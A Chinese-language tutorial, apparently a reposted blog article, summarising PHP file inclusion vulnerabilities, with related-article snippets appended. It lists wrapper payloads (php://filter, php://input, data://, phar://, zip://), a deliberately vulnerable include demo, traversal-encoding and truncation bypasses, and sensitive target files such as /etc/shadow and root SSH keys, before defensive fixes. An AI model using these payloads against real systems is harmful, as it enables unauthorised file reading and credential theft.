文件包含FI漏洞总结

2024-05-28 10:12
文章标签 总结 漏洞 fi

本文主要是介绍文件包含FI漏洞总结,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文件包含漏洞模板

文件包含读取
?file=php://filter/convert.base64-encode/resource=xxx.php
?file=php://filter/read=convert.base64-encode/resource=xxx.php
文件包含
?file=php://input
?file=file://c:\boot.ini
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
?file=phar://xxx.png/shell.php
?file=zip://xxx.png#shell.php

文件包含漏洞基础

include_demo.php:

<?php
echo "文件包含demo";
include($_REQUEST['file']);
?>

test.txt

下面有一个有效的php代码。
<?php
phpinfo();
?>

访问: http://主机名/include_demo.php?file=test.txt

文件包含开关

allow_url_fopen:打开远程文件

allow_url_include:包含远程文件用

文件包含相关函数有何区别?

require() 如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句。 include() 如果出错的话,只会提出警告,会继续执行后续语句。

require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含 过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等 问题。

文件包含漏洞

后端程序在包含文件的功能的时候,如果被包含的文件路径可被攻击者控制,导致攻击者提供的包含动 态脚本的文件被执行。

文件包含漏洞危害?

条件满足的情况下:

1.通过包含敏感路径文件,导致密码等信息泄露,如包含各类配置文件、数据库文件等

2. 通过包含含有php代码的文件,该漏洞导致代码执行

3. 同文件上传联用,导致getshell

4. 如果开启allow_url_include开关,还可包含攻击者远程服务器上自定义的php代码文件。

文件包含漏洞分类?

1. LFI(Local File Include),本地文件包含

2. RFI(Remote File Include),远程文件包含

文件包含漏洞原理

后端文件包含函数加载的参数没有经过过滤或者严格的限制,并且可以被用户控制用来包含其他恶意文 件,导致了执行非预期的代码。

如何发现文件包含漏洞?

1. 通过url发现可能存在文件包含的漏洞点,如:

?file=

?f=

?source=

?src= 下面有一个有效的php代码。

?path=

?inc=

?include=

?dest=

2. 代码审计发现

本地文件包含的利用姿势

1、利用session文件包含
2、利用log日志文件包含
3、结合文件上传包含
4、包含proc/self/environ中的user-agent头
5、包含ssh.log文件we
6、包含fd文件
7、利用竞争条件包含临时文件

利用条件

有潜在文件包含漏洞点

知道被包含文件路径

如果要getshell,还要被包含的文件内容可控

文件包含漏洞的利用步骤?

找到文件包含的功能点

构造被包含的文件及其内容(如上传、远程服务器提供文件=

文件包含漏洞利用绕过

  • NULL(%00)截断绕过(php)
  • TODO:超长字符绕过(Windows可在文件名后部添加点增加长度,linux必须在前面添加./增加长 度)?或#绕过(受php版本限制)
  • 利用php伪协议绕过
  • 利用smb绕过

伪协议的使用

php://filter

打开一个文件输入输出流进行读写,常结合base64编码读写不可直接读取的数据

php://filter/read/convert.base64-encode/resource=tmp.php
php://input

同样是打开文件输入输出流进行文件内容写入,一般都是通过POST请求方式写入文件内容

php://input

POST提交:php phpinfo();?>

data://

data协议同样是打开输入输出流,写入文件内容。使用data伪协议的时候,最好省略掉php语法中最后 的?>符

data://text/plain,?>

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==   (这里的base64编码省略了?>)

phar://

phar://主要适用于压缩包zip文件的读取,文件路径可用相对路径也可用绝对路径。利用条件:php版本 大于5.3.0

phar://../../phpinclude/phpinfo.zip/phpinfo.txt       (相对路径)

phar://c:/wamp/www/phpinclude/phpinfo.zip/phpinfo.txt (绝对路径)

zip://

用法同phar大致差不多,但只能使用绝对路径。利用条件:php版本大于5.3.0

zip://c:/wamp/www/phpinclude/phpinfo.zip%23phpinfo.txt (压缩包内路径需要用%23代替/)

文件包含的绕过方法

绕过前缀过滤

使用目录穿越../来绕过,../被过滤可通过编码变形绕过

1 ../的编码 - %2e%2e%2f - ..%2f - %2e%2e/ 
2 ..\的编码 - %2e%2e%5c - ..%5c - %2e%2e\ 
3.二次编码 - %252e%252e%252f(编码的../) - %252e%252e%255c(编码的..\) 
4.容器/服务器的目录穿越编码 - ..%c0%af(编码的../) 
5.java的目录穿越编码 - %c0%ae%c0%ae/(编码的../) 注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCII字符的”.”(点)
6.Apache Tomcat 的目录穿越编码 - ..%c1%9c(编码的..\)
  • 绕过后缀过滤
  • 利用远程包含绕过
  • 利用url锚点绕过   http://xxx.com/shellaksdjfgaksdjfg252.phpxxx.jpg
  • 利用00截断绕过 (php < 5.3.4)
  • 利用操作系统长字符截断绕过(php < 5.2.9)
  • 利用phar或zip伪协议绕过

常见敏感文件

C:\boot.ini
C:\windows\System32\inetsrv\MetaBas.xml
C:\windows\repair\sam
C:\program Files\mysql\my.ini
C:\program Files\mysql\data\mysql\user.MYD
c\windows\php.ini
C\windows\my.ini
---------------------------------------------o----------------
linux特殊文件:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd*
/proc/mounts/porc/config.gz
/var/lib/mlocate/mlocate.db
locate mlocate.db www

文件包含漏洞如何防御或修复

在保证可用性和功能的前提下:

  • 过滤点号
  • 过滤斜杠
  • 升级中间件及动态脚本解析程序
  • 配置open_basedir的值,限定读写范围
  • 关闭allow_url_include
  • 对上传文件内容进行排查或进行转存,破坏上传文件中的恶意代码

这篇关于文件包含FI漏洞总结的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1010274

相关文章

HarmonyOS学习(七)——UI(五)常用布局总结

自适应布局 1.1、线性布局(LinearLayout) 通过线性容器Row和Column实现线性布局。Column容器内的子组件按照垂直方向排列,Row组件中的子组件按照水平方向排列。 属性说明space通过space参数设置主轴上子组件的间距,达到各子组件在排列上的等间距效果alignItems设置子组件在交叉轴上的对齐方式,且在各类尺寸屏幕上表现一致,其中交叉轴为垂直时,取值为Vert

学习hash总结

2014/1/29/   最近刚开始学hash,名字很陌生,但是hash的思想却很熟悉,以前早就做过此类的题,但是不知道这就是hash思想而已,说白了hash就是一个映射,往往灵活利用数组的下标来实现算法,hash的作用:1、判重;2、统计次数;

git使用的说明总结

Git使用说明 下载安装(下载地址) macOS: Git - Downloading macOS Windows: Git - Downloading Windows Linux/Unix: Git (git-scm.com) 创建新仓库 本地创建新仓库:创建新文件夹,进入文件夹目录,执行指令 git init ,用以创建新的git 克隆仓库 执行指令用以创建一个本地仓库的

二分最大匹配总结

HDU 2444  黑白染色 ,二分图判定 const int maxn = 208 ;vector<int> g[maxn] ;int n ;bool vis[maxn] ;int match[maxn] ;;int color[maxn] ;int setcolor(int u , int c){color[u] = c ;for(vector<int>::iter

整数Hash散列总结

方法:    step1  :线性探测  step2 散列   当 h(k)位置已经存储有元素的时候,依次探查(h(k)+i) mod S, i=1,2,3…,直到找到空的存储单元为止。其中,S为 数组长度。 HDU 1496   a*x1^2+b*x2^2+c*x3^2+d*x4^2=0 。 x在 [-100,100] 解的个数  const int MaxN = 3000

状态dp总结

zoj 3631  N 个数中选若干数和(只能选一次)<=M 的最大值 const int Max_N = 38 ;int a[1<<16] , b[1<<16] , x[Max_N] , e[Max_N] ;void GetNum(int g[] , int n , int s[] , int &m){ int i , j , t ;m = 0 ;for(i = 0 ;

go基础知识归纳总结

无缓冲的 channel 和有缓冲的 channel 的区别? 在 Go 语言中,channel 是用来在 goroutines 之间传递数据的主要机制。它们有两种类型:无缓冲的 channel 和有缓冲的 channel。 无缓冲的 channel 行为:无缓冲的 channel 是一种同步的通信方式,发送和接收必须同时发生。如果一个 goroutine 试图通过无缓冲 channel

9.8javaweb项目总结

1.主界面用户信息显示 登录成功后,将用户信息存储在记录在 localStorage中,然后进入界面之前通过js来渲染主界面 存储用户信息 将用户信息渲染在主界面上,并且头像设置跳转,到个人资料界面 这里数据库中还没有设置相关信息 2.模糊查找 检测输入框是否有变更,有的话调用方法,进行查找 发送检测请求,然后接收的时候设置最多显示四个类似的搜索结果

java面试常见问题之Hibernate总结

1  Hibernate的检索方式 Ø  导航对象图检索(根据已经加载的对象,导航到其他对象。) Ø  OID检索(按照对象的OID来检索对象。) Ø  HQL检索(使用面向对象的HQL查询语言。) Ø  QBC检索(使用QBC(Qurey By Criteria)API来检索对象。 QBC/QBE离线/在线) Ø  本地SQL检索(使用本地数据库的SQL查询语句。) 包括Hibern

暑期学习总结

iOS学习 前言无限轮播图换头像网络请求按钮的configuration属性总结 前言 经过暑期培训,完成了五个项目的仿写,在项目中将零散的内容经过实践学习,有了不少收获,因此来总结一下比较重要的内容。 无限轮播图 这是写项目的第一个难点,在很多项目中都有使用,越写越熟练。 原理为制造两个假页,在首和尾分别制作最后一页和第一页的假页,当移动到假页时,使用取消动画的方式跳到